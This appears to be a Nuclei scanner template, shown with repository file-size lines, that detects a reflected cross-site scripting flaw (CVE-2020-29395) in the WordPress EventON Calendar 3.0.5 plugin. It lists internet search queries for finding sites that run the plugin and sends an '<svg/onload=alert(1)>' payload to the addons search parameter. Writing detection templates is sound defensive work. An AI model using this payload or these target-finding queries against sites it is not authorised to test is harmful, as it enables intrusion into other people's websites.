76 lines
2.5 KiB
YAML
76 lines
2.5 KiB
YAML
id: CVE-2020-29395
|
|
|
|
info:
|
|
name: Wordpress EventON Calendar 3.0.5 - Cross-Site Scripting
|
|
author: daffainfo
|
|
severity: medium
|
|
description: Wordpress EventON Calendar 3.0.5 is vulnerable to cross-site scripting because it allows addons/?q= XSS via the search field.
|
|
impact: |
|
|
Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.
|
|
remediation: |
|
|
Update to the latest version of the Wordpress EventON Calendar plugin (3.0.6) to mitigate this vulnerability.
|
|
reference:
|
|
- https://github.com/mustgundogdu/Research/tree/main/EventON_PLUGIN_XSS
|
|
- https://www.myeventon.com/news/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-29395
|
|
- http://packetstormsecurity.com/files/160282/WordPress-EventON-Calendar-3.0.5-Cross-Site-Scripting.html
|
|
- https://github.com/ARPSyndicate/kenzer-templates
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2020-29395
|
|
cwe-id: CWE-79
|
|
epss-score: 0.03946
|
|
epss-percentile: 0.91992
|
|
cpe: cpe:2.3:a:myeventon:eventon:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: myeventon
|
|
product: eventon
|
|
framework: wordpress
|
|
shodan-query:
|
|
- "http.html:/wp-content/plugins/eventon/"
|
|
- http.html:/wp-content/plugins/eventon-lite/
|
|
fofa-query:
|
|
- "wp-content/plugins/eventon/"
|
|
- body=/wp-content/plugins/eventon/
|
|
- body=/wp-content/plugins/eventon-lite/
|
|
publicwww-query:
|
|
- "/wp-content/plugins/eventon/"
|
|
- /wp-content/plugins/eventon-lite/
|
|
google-query: "inurl:\"/wp-content/plugins/eventon/\""
|
|
tags: cve,cve2020,wordpress,xss,wp-plugin,packetstorm,myeventon
|
|
flow: http(1) && http(2)
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET / HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers:
|
|
- type: word
|
|
internal: true
|
|
words:
|
|
- '/wp-content/plugins/eventON/'
|
|
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/addons/?q=%3Csvg%2Fonload%3Dalert(1)%3E'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "<svg/onload=alert(1)>"
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4b0a00483046022100ab5aa0c7af986981d5a04ab1b49d404398c397bbbb97d7f396e73df3ab7a42ce02210089eee2575b4064d07c98e6d5a7843594393048936f1b334241c819a9edab8022:922c64590222798bb761d5b6d8e72950 |